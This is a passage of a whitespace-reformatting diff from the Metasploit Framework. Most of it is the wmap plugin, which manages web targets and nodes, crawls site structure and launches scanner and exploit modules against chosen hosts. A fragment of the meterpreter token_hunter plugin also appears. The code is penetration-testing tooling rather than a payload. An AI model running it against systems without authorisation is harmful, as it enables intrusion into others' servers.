add_console_dispatcher(TokenCommandDispatcher) - end + def initialize(framework, opts) + super + add_console_dispatcher(TokenCommandDispatcher) + end - def cleanup - remove_console_dispatcher('Token Hunter') - end + def cleanup + remove_console_dispatcher('Token Hunter') + end - def name - "token_hunter" - end + def name + "token_hunter" + end - def desc - "Search all active meterpreter sessions for specific tokens" - end + def desc + "Search all active meterpreter sessions for specific tokens" + end end end diff --git a/plugins/wmap.rb b/plugins/wmap.rb index cc7217b6b4..d64471b4be 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -13,2277 +13,2277 @@ require 'msf/core/rpc/v10/client' module Msf class Plugin::Wmap < Msf::Plugin - class WmapCommandDispatcher - - attr_accessor :wmapmodules # Enabled Wmap modules - attr_accessor :targets # Targets - attr_accessor :lastsites # Temp location of previously obtained sites - attr_accessor :rpcarr # Array or rpc connections - attr_accessor :njobs # Max number of jobs - attr_accessor :nmaxdisplay # Flag to stop displaying the same mesg - attr_accessor :runlocal # Flag to run local modules only - attr_accessor :masstop # Flag to stop everything - attr_accessor :killwhenstop # Kill process when exiting - - include Msf::Ui::Console::CommandDispatcher - - def name - "wmap" - end - - # - # The initial command set - # - def commands - { - "wmap_targets" => "Manage targets", - "wmap_sites" => "Manage sites", - "wmap_nodes" => "Manage nodes", - "wmap_run" => "Test targets", - "wmap_modules" => "Manage wmap modules", - "wmap_vulns" => "Display web vulns", - } - end - - def cmd_wmap_vulns(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-l' - view_vulns - return - when '-h' - print_status("Usage: wmap_vulns [options]") - print_line("\t-h Display this help text") - print_line("\t-l Display web vulns table") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - - def cmd_wmap_modules(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-l' - view_modules - return - when '-r' - load_wmap_modules(true) - return - when '-h' - print_status("Usage: wmap_modules [options]") - print_line("\t-h Display this help text") - print_line("\t-l List all wmap enabled modules") - print_line("\t-r Reload wmap modules") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_targets(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-c' - self.targets = Hash.new() - when '-l' - view_targets - return - when '-t' - process_urls(args.shift) - when '-d' - process_ids(args.shift) - when '-h' - print_status("Usage: wmap_targets [options]") - print_line("\t-h Display this help text") - print_line("\t-t [urls] Define target sites (vhost1,url[space]vhost2,url) ") - print_line("\t-d [ids] Define target sites (id1, id2, id3 ...)") - print_line("\t-c Clean target sites list") - print_line("\t-l List all target sites") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_sites(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-a' - s = add_web_site(args.shift) - if s - print_status("Site created.") - else - print_error("Unable to create site") - end - when '-d' - del_idx = args - if del_idx - delete_sites(del_idx.select {|d| d =~ /^[0-9]*$/}.map(&:to_i).uniq) - return - else - print_error("Provide index of site to delete") - end - when '-l' - view_sites - return - when '-s' - u = args.shift - l = args.shift - s = args.shift - - if not u - return - end - - if l == nil or l.empty? - l = 200 - s = true - else - l = l.to_i - s = false - end - - if u.include? 'http' - # Parameters are in url form - view_site_tree(u,l,s) - else - # Parameters are digits - if !self.lastsites or self.lastsites.length == 0 - view_sites - print_status ("Web sites ids. referenced from previous table.") - end - - target_whitelist = [] - ids = u.to_s.split(/,/) - - ids.each do |id| - next if id.to_s.strip.empty? - - if id.to_i > self.lastsites.length - print_error("Skipping id #{id}...") - else - target_whitelist << self.lastsites[id.to_i] - #print_status("Loading #{self.lastsites[id.to_i]}.") - end - end - - # Skip the DB entirely if no matches - return if target_whitelist.length == 0 - - if not self.targets - self.targets = Hash.new() - end - - target_whitelist.each do |ent| - view_site_tree(ent,l,s) - end - end - return - when '-h' - print_status("Usage: wmap_sites [options]") - print_line("\t-h Display this help text") - print_line("\t-a [url] Add site (vhost,url)") - print_line("\t-d [ids] Delete sites (separate ids with space)") - print_line("\t-l List all available sites") - print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_nodes(*args) - - if not self.rpcarr - self.rpcarr=Hash.new() - end - - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-a' - h = args.shift - r = args.shift - s = args.shift - u = args.shift - p = args.shift - - res = rpc_add_node(h,r,s,u,p,false) - if res - print_status("Node created.") - else - print_error("Unable to create node") - end - when '-c' - idref = args.shift - - if not idref - print_error("No id defined") - return - end - if idref.upcase == 'ALL' - print_status("All nodes removed") - self.rpcarr = Hash.new() - else - idx=0 - self.rpcarr.each do |k,v| - if idx == idref.to_i - self.rpcarr.delete(k) - print_status("Node deleted #{k}") - end - idx += 1 - end - end - when '-d' - host = args.shift - port = args.shift - user = args.shift - pass = args.shift - dbname = args.shift - - res = rpc_db_nodes(host,port,user,pass,dbname) - if res - print_status("OK.") - else - print_error("Error") - end - when '-l' - rpc_list_nodes - return - when '-j' - rpc_view_jobs - return - when '-k' - node = args.shift - jid = args.shift - rpc_kill_node(node,jid) - return - when '-h' - print_status("Usage: wmap_nodes [options]") - print_line("\t-h Display this help text") - print_line("\t-c id Remove id node (Use ALL for ALL nodes") - print_line("\t-a host port ssl user pass Add node") - print_line("\t-d host port user pass db Force all nodes to connect to db") - print_line("\t-j View detailed jobs") - print_line("\t-k ALL|id ALL|job_id Kill jobs on node") - print_line("\t-l List all current nodes") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_run(*args) - # Stop everything - self.masstop = false - self.killwhenstop = true - - trap("INT") { - print_error("Stopping execution...") - self.masstop = true - if self.killwhenstop - rpc_kill_node('ALL','ALL') - end - } - - # Max numbers of concurrent jobs per node - self.njobs = 25 - self.nmaxdisplay = false - self.runlocal = false - - # Formating - sizeline = 60 - - wmap_show = 2**0 - wmap_expl = 2**1 - - # Exclude files can be modified by setting datastore['WMAP_EXCLUDE'] - wmap_exclude_files = '.*\.(gif|jpg|png*)$' - - run_wmap_ssl = true - run_wmap_server = true - run_wmap_dir_file = true - run_wmap_query = true - run_wmap_unique_query = true - run_wmap_generic = true - - # If module supports datastore['VERBOSE'] - moduleverbose = false - - showprogress = false - - if not self.rpcarr - self.rpcarr = Hash.new() - end - - if not run_wmap_ssl - print_status("Loading of wmap ssl modules disabled.") - end - if not run_wmap_server - print_status("Loading of wmap server modules disabled.") - end - if not run_wmap_dir_file - print_status("Loading of wmap dir and file modules disabled.") - end - if not run_wmap_query - print_status("Loading of wmap query modules disabled.") - end - if not run_wmap_unique_query - print_status("Loading of wmap unique query modules disabled.") - end - if not run_wmap_generic - print_status("Loading of wmap generic modules disabled.") - end - - stamp = Time.now.to_f - mode = 0 - - eprofile = [] - using_p = false - using_m = false - usinginipath = false - - mname = '' - inipathname = '/' - - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-t' - mode |= wmap_show - when '-e' - mode |= wmap_expl - - profile = args.shift - - if profile - print_status("Using profile #{profile}.") - - begin - File.open(profile).each do |str| - if not str.include? '#' - # Not a comment - modname = str.strip - if not modname.empty? - eprofile << modname - end - end - using_p = true - end - rescue - print_error("Profile not found or invalid.") - return - end - else - print_status("Using ALL wmap enabled modules.") - end - when '-m' - mode |= wmap_expl - - mname = args.shift - - if mname - print_status("Using module #{mname}.") - end - using_m = true - when '-p' - mode |= wmap_expl - - inipathname = args.shift - - if inipathname - print_status("Using initial path #{inipathname}.") - end - usinginipath = true - - when '-h' - print_status("Usage: wmap_run [options]") - print_line("\t-h Display this help text") - print_line("\t-t Show all enabled modules") - print_line("\t-m [regex] Launch only modules that name match provided regex.") - print_line("\t-p [regex] Only test path defined by regex.") - print_line("\t-e [/path/to/profile] Launch profile modules against all matched targets.") - print_line("\t (No profile file runs all enabled modules.)") - print_line("") - return - else - print_error("Unknown flag") - return - end - end - - if (self.rpcarr.length == 0) and (mode & wmap_show == 0) - print_error("NO WMAP NODES DEFINED. Executing local modules") - self.runlocal = true - end - - if self.targets == nil - print_error("Targets have not been selected.") - return - end - - if self.targets.keys.length == 0 - print_error("Targets have not been selected.") - return - end - - execmod = true - if (mode & wmap_show != 0) - execmod = false - end - - self.targets.each_with_index do |t, idx| - - selected_host = t[1][:host] - selected_port = t[1][:port] - selected_ssl = t[1][:ssl] - selected_vhost = t[1][:vhost] - - print_status ("Testing target:") - print_status ("\tSite: #{selected_vhost} (#{selected_host})") - print_status ("\tPort: #{selected_port} SSL: #{selected_ssl}") - print_line '='* sizeline - print_status("Testing started. #{(Time.now )}") - - if not selected_ssl - run_wmap_ssl = false - #print_status ("Target is not SSL. SSL modules disabled.") - end - - # wmap_dir, wmap_file - matches = Hash.new() - - # wmap_server - matches1 = Hash.new() - - # wmap_query - matches2 = Hash.new() - - # wmap_ssl - matches3 = Hash.new() - - # wmap_unique_query - matches5 = Hash.new() - - # wmap_generic - matches10 = Hash.new() - - # OPTIONS - opt_str = nil - jobify = false - - # This will be clean later - load_wmap_modules(false) - - self.wmapmodules.each do |w| - case w[2] - when :wmap_server - if run_wmap_server - matches1[w]=true - end - when :wmap_query - if run_wmap_query - matches2[w]=true - end - when :wmap_unique_query - if run_wmap_unique_query - matches5[w]=true - end - when :wmap_generic - if run_wmap_generic - matches10[w]=true - end - when :wmap_dir, :wmap_file - if run_wmap_dir_file - matches[w]=true - end - when :wmap_ssl - if run_wmap_ssl - matches3[w]=true - end - else - # Black Hole - end - end - - # Execution order (orderid) - matches = sort_by_orderid(matches) - matches1 = sort_by_orderid(matches1) - matches2 = sort_by_orderid(matches2) - matches3 = sort_by_orderid(matches3) - matches5 = sort_by_orderid(matches5) - matches10 = sort_by_orderid(matches10) - - # - # Handle modules that need to be run before all tests IF SERVER is SSL, once usually again the SSL web server. - # :wmap_ssl - # - - print_status "\n=[ SSL testing ]=" - print_line "=" * sizeline - - if not selected_ssl - print_status ("Target is not SSL. SSL modules disabled.") - end - - idx = 0 - matches3.each_key do |xref| - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Handle modules that need to be run before all tests, once usually again the web server. - # :wmap_server - # - print_status "\n=[ Web Server testing ]=" - print_line "=" * sizeline - - idx = 0 - matches1.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Handle modules to be run at every path/file - # wmap_dir, wmap_file - # - print_status "\n=[ File/Dir testing ]=" - print_line "=" * sizeline - - idx = 0 - matches.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx+=1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins that only need to be - # launched once. - # - - wtype = xref[2] - - h = self.framework.db.workspace.hosts.find_by_address(selected_host) - s = h.services.find_by_port(selected_port) - w = s.web_sites.find_by_vhost(selected_vhost) - - test_tree = load_tree(w) - test_tree.each do |node| - - if self.masstop - print_error("STOPPED.") - return - end - - p = node.current_path - testpath = Pathname.new(p) - strpath = testpath.cleanpath(false).to_s - - # - # Fixing paths - # - - if node.is_leaf? and not node.is_root? - # - # Later we can add here more checks to see if its a file - # - else - if node.is_root? - strpath = "/" - else - strpath = strpath.chomp + "/" - end - end - - strpath = strpath.gsub("//", "/") - #print_status("Testing path: #{strpath}") - - # - # Launch plugin depending module type. - # Module type depends on main input type. - # Code may be the same but it depend on final - # versions of plugins - # - - case wtype - when :wmap_file - if node.is_leaf? and not node.is_root? - # - # Check if an exclusion regex has been defined - # - if self.framework.datastore['WMAP_EXCLUDE'] - excludefilestr = self.framework.datastore['WMAP_EXCLUDE'] - else - excludefilestr = wmap_exclude_files - end - - if not strpath.match(excludefilestr) - if (not usinginipath) or (usinginipath and strpath.match(inipathname)) - modopts['PATH'] = strpath - print_status("Path: #{strpath}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - end - end - when :wmap_dir - if (node.is_leaf? and not strpath.include? ".") or node.is_root? or not node.is_leaf? - if (not usinginipath) or (usinginipath and strpath.match(inipathname)) - - modopts['PATH'] = strpath - print_status("Path: #{strpath}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - end - end - end - end - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Run modules for each request to play with URI with UNIQUE query parameters. - # wmap_unique_query - # - print_status "\n=[ Unique Query testing ]=" - print_line "=" * sizeline - - idx = 0 - matches5.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins for each request that have a distinct - # GET/POST URI QUERY string. - # - - utest_query = Hash.new() - - h = self.framework.db.workspace.hosts.find_by_address(selected_host) - s = h.services.find_by_port(selected_port) - w = s.web_sites.find_by_vhost(selected_vhost) - - w.web_forms.each do |form| - - if self.masstop - print_error("STOPPED.") - return - end - - # - # Only test unique query strings by comparing signature to previous tested signatures 'path,p1,p2,pn' - # - - datastr = "" - typestr = "" - - temparr = [] - - #print_status "---------" - #print_status form.params - #print_status "+++++++++" - - form.params.each do |p| - pn, pv, pt = p - if pn - if not pn.empty? - if not pv or pv.empty? - #TODO add value based on param name - pv = "aaa" - end - - #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) - temparr << pn.to_s + "=" + pv.to_s - end - else - print_error("Blank parameter name. Form #{form.path}") - end - end - - datastr = temparr.join("&") if (temparr and not temparr.empty?) - - if (utest_query.has_key?(signature(form.path,datastr)) == false) - - modopts['METHOD'] = form.method.upcase - modopts['PATH'] = form.path - modopts['QUERY'] = form.query - if form.method.upcase == 'GET' - modopts['QUERY'] = datastr - modopts['DATA'] = "" - end - if form.method.upcase == 'POST' - modopts['DATA'] = datastr - end - modopts['TYPES'] = typestr - - # - # TODO: Add headers, etc. - # - if (not usinginipath) or (usinginipath and form.path.match(inipathname)) - - print_status "Path #{form.path}" - #print_status("Unique PATH #{modopts['PATH']}") - #print_status("Unique GET #{modopts['QUERY']}") - #print_status("Unique POST #{modopts['DATA']}") - #print_status("MODOPTS: #{modopts}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - utest_query[signature(form.path,datastr)]=1 - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - else - #print_status("Already tested") - end - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Run modules for each request to play with URI query parameters. - # This approach will reduce the complexity of the Tree used before - # and will make this shotgun implementation much simple. - # wmap_query - # - print_status "\n=[ Query testing ]=" - print_line "=" * sizeline - - idx = 0 - matches2.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins for each request that have a distinct - # GET/POST URI QUERY string. - # - - h = self.framework.db.workspace.hosts.find_by_address(selected_host) - s = h.services.find_by_port(selected_port) - w = s.web_sites.find_by_vhost(selected_vhost) - - w.web_forms.each do |req| - - if self.masstop - print_error("STOPPED.") - return - end - - datastr = "" - typestr = "" - - temparr = [] - - req.params.each do |p| - pn, pv, pt = p - if pn - if not pn.empty? - if not pv or pv.empty? - #TODO add value based on param name - pv = "aaa" - end - #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) - temparr << pn.to_s + "=" + pv.to_s - end - else - print_error("Blank parameter name. Form #{req.path}") - end - end - - datastr = temparr.join("&") if (temparr and not temparr.empty?) - - modopts['METHOD'] = req.method.upcase - modopts['PATH'] = req.path - if req.method.upcase == 'GET' - modopts['QUERY'] = datastr - modopts['DATA'] = "" - end - modopts['DATA'] = datastr if req.method.upcase == 'POST' - modopts['TYPES'] = typestr - - # - # TODO: Add method, headers, etc. - # - if (not usinginipath) or (usinginipath and req.path.match(inipathname)) - - print_status "Path #{req.path}" - #print_status("Query PATH #{modopts['PATH']}") - #print_status("Query GET #{modopts['QUERY']}") - #print_status("Query POST #{modopts['DATA']}") - #print_status("Query TYPES #{typestr}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Handle modules that need to be after all tests, once. - # Good place to have modules that analize the test results and/or - # launch exploits. - # :wmap_generic - # - print_status "\n=[ General testing ]=" - print_line "=" * sizeline - - idx = 0 - matches10.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins that only need to be - # launched once. - # - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - - if (mode & wmap_expl != 0) - print_line "+" * sizeline - - if not self.runlocal - if execmod - rpc_list_nodes() - print_status("Note: Use wmap_nodes -l to list node status for completion") - end - end - - print_line("Launch completed in #{(Time.now.to_f - stamp)} seconds.") - print_line "+" * sizeline - end - - print_status("Done.") - end - - # EOM - end - - def view_targets - if self.targets == nil or self.targets.keys.length == 0 - print_status "No targets have been defined" - return - end - - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Defined targets', - 'Columns' => - [ - 'Id', - 'Vhost', - 'Host', - 'Port', - 'SSL', - 'Path', - ]) - - self.targets.each_with_index { |t, idx| - tbl << [ idx.to_s, t[1][:vhost], t[1][:host], t[1][:port], t[1][:ssl], "\t"+t[1][:path].to_s ] - } - - print_status tbl.to_s + "\n" - end - - def delete_sites(wmap_index) - idx = 0 - to_del = {} - # Rebuild the index from wmap_sites -l - self.framework.db.hosts.each do |bdhost| - bdhost.services.each do |serv| - serv.web_sites.each do |web| - # If the index of this site matches any deletion index, - # add to our hash, saving the index for later output - to_del[idx] = web if wmap_index.any? {|w| w.to_i == idx} - idx += 1 - end - end - end - to_del.each do |widx,wsite| - if wsite.delete - print_status("Deleted #{wsite.vhost} on #{wsite.service.host.address} at index #{widx}") - else - print_error("Could note delete {wsite.vhost} on #{wsite.service.host.address} at index #{widx}") - end - end - end - - - def view_sites - # Clean temporary sites list - self.lastsites = [] - - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Available sites', - 'Columns' => - [ - 'Id', - 'Host', - 'Vhost', - 'Port', - 'Proto', - '# Pages', - '# Forms', - ]) - - idx = 0 - self.framework.db.hosts.each do |bdhost| - bdhost.services.each do |serv| - serv.web_sites.each do |web| - c = web.web_pages.count - f = web.web_forms.count - tbl << [ idx.to_s, bdhost.address, web.vhost, serv.port, serv.name, c.to_s, f.to_s ] - idx += 1 - - turl = web.vhost + "," + serv.name + "://" +bdhost.address.to_s + ":" + serv.port.to_s + "/" - self.lastsites << turl - end - end - end - - print_status tbl.to_s + "\n" - - end - - # Reusing code from hdmoore - # - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - def add_web_site(url) - - vhost = nil - - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - if url !~ /^http/ - vhost,url = url.split(",", 2) - if url.to_s.empty? - url = vhost - vhost = nil - end - end - - # Prefix http:// when the URL has no specified parameter - if url !~ /^[a-z0-9A-Z]+:\/\// - url = "http://" + url - end - - uri = URI.parse(url) rescue nil - if not uri - print_error("Could not understand URL: #{url}") - return - end - - if uri.scheme !~ /^https?/ - print_error("Only http and https URLs are accepted: #{url}") - return - end - - ssl = false - if uri.scheme == 'https' - ssl = true - end - - site = self.framework.db.report_web_site(:wait => true, :host => uri.host, :port => uri.port, :vhost => vhost, :ssl => ssl) - - return site - end - - # Code by hdm. Modified two lines by et - # - def process_urls(urlstr) - - target_whitelist = [] - - urls = urlstr.to_s.split(/\s+/) - - - urls.each do |url| - next if url.to_s.strip.empty? - vhost = nil - - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - if url !~ /^http/ - vhost,url = url.split(",", 2) - if url.to_s.empty? - url = vhost - vhost = nil - end - end - - # Prefix http:// when the URL has no specified parameter - if url !~ /^[a-z0-9A-Z]+:\/\// - url = "http://" + url - end - - uri = URI.parse(url) rescue nil - if not uri - print_error("Could not understand URL: #{url}") - next - end - - if uri.scheme !~ /^https?/ - print_error("Only http and https URLs are accepted: #{url}") - next - end - - target_whitelist << [vhost || uri.host, uri] - end - - # Skip the DB entirely if no matches - return if target_whitelist.length == 0 - - if not self.targets - # First time targets are defined - self.targets = Hash.new() - end - - target_whitelist.each do |ent| - vhost,target = ent - - host = self.framework.db.workspace.hosts.find_by_address(target.host) - if not host - print_error("No matching host for #{target.host}") - next - end - serv = host.services.find_by_port_and_proto(target.port, 'tcp') - if not serv - print_error("No matching service for #{target.host}:#{target.port}") - next - end - - #print_status "aaa" - #print_status framework.db.workspace.name - - sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) - - sites.each do |site| - # Initial defaul path - inipath = target.path - if target.path.empty? - inipath = '/' - end - - #site.web_forms.find_all_by_path(target.path).each do |form| - ckey = [ site.vhost, host.address, serv.port, inipath].join("|") - - if not self.targets[ckey] - self.targets[ckey] = WebTarget.new - self.targets[ckey].merge!({ - :vhost => site.vhost, - :host => host.address, - :port => serv.port, - :ssl => (serv.name == "https"), - :path => inipath - }) - #self.targets[ckey][inipath] = [] - else - print_status("Target already set in targets list.") - end - - # Store the form object in the hash for this path - #self.targets[ckey][inipath] << inipath - #end - end - end - end - - # Code by hdm. Modified two lines by et - # lastsites contains a temporary array with vhost,url strings so the id can be - # referenced in the array and prevent new sites added in the db to corrupt previous id list. - def process_ids(idsstr) - - if !self.lastsites or self.lastsites.length == 0 - view_sites - print_status ("Web sites ids. referenced from previous table.") - end - - target_whitelist = [] - ids = idsstr.to_s.split(/,/) - - ids.each do |id| - next if id.to_s.strip.empty? - - if id.to_i > self.lastsites.length - print_error("Skipping id #{id}...") - else - target_whitelist << self.lastsites[id.to_i] - print_status("Loading #{self.lastsites[id.to_i]}.") - end - end - - # Skip the DB entirely if no matches - return if target_whitelist.length == 0 - - if not self.targets - self.targets = Hash.new() - end - - target_whitelist.each do |ent| - process_urls(ent) - end - end - - def view_site_tree(urlstr, md, ld) - if not urlstr - return - end - - site_whitelist = [] - - urls = urlstr.to_s.split(/\s+/) - - urls.each do |url| - next if url.to_s.strip.empty? - vhost = nil - - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - if url !~ /^http/ - vhost,url = url.split(",", 2) - - if url.to_s.empty? - url = vhost - vhost = nil - end - end - - # Prefix http:// when the URL has no specified parameter - if url !~ /^[a-z0-9A-Z]+:\/\// - url = "http://" + url - end - - uri = URI.parse(url) rescue nil - if not uri - print_error("Could not understand URL: #{url}") - next - end - - if uri.scheme !~ /^https?/ - print_error("Only http and https URLs are accepted: #{url}") - next - end - - site_whitelist << [vhost || uri.host, uri] - end - - # Skip the DB entirely if no matches - return if site_whitelist.length == 0 - - vsites = Hash.new() - - site_whitelist.each do |ent| - vhost,target = ent - - host = self.framework.db.workspace.hosts.find_by_address(target.host) - if not host - print_error("No matching host for #{target.host}") - next - end - serv = host.services.find_by_port_and_proto(target.port, 'tcp') - if not serv - print_error("No matching service for #{target.host}:#{target.port}") - next - end - - sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) - - sites.each do |site| - t = load_tree(site) - print_tree(t,target.host,md,ld) - print_line("\n") - end - end - end - - # - # Load website structure into a tree - # - - def load_tree(s) - - pathchr = '/' - - wtree = Tree.new(s.vhost) - - # Load site pages - s.web_pages.find(:all, :order => 'path').each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) - end - end - - # Load site forms - s.web_forms.each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) - end - end - - return wtree - end - - # - # 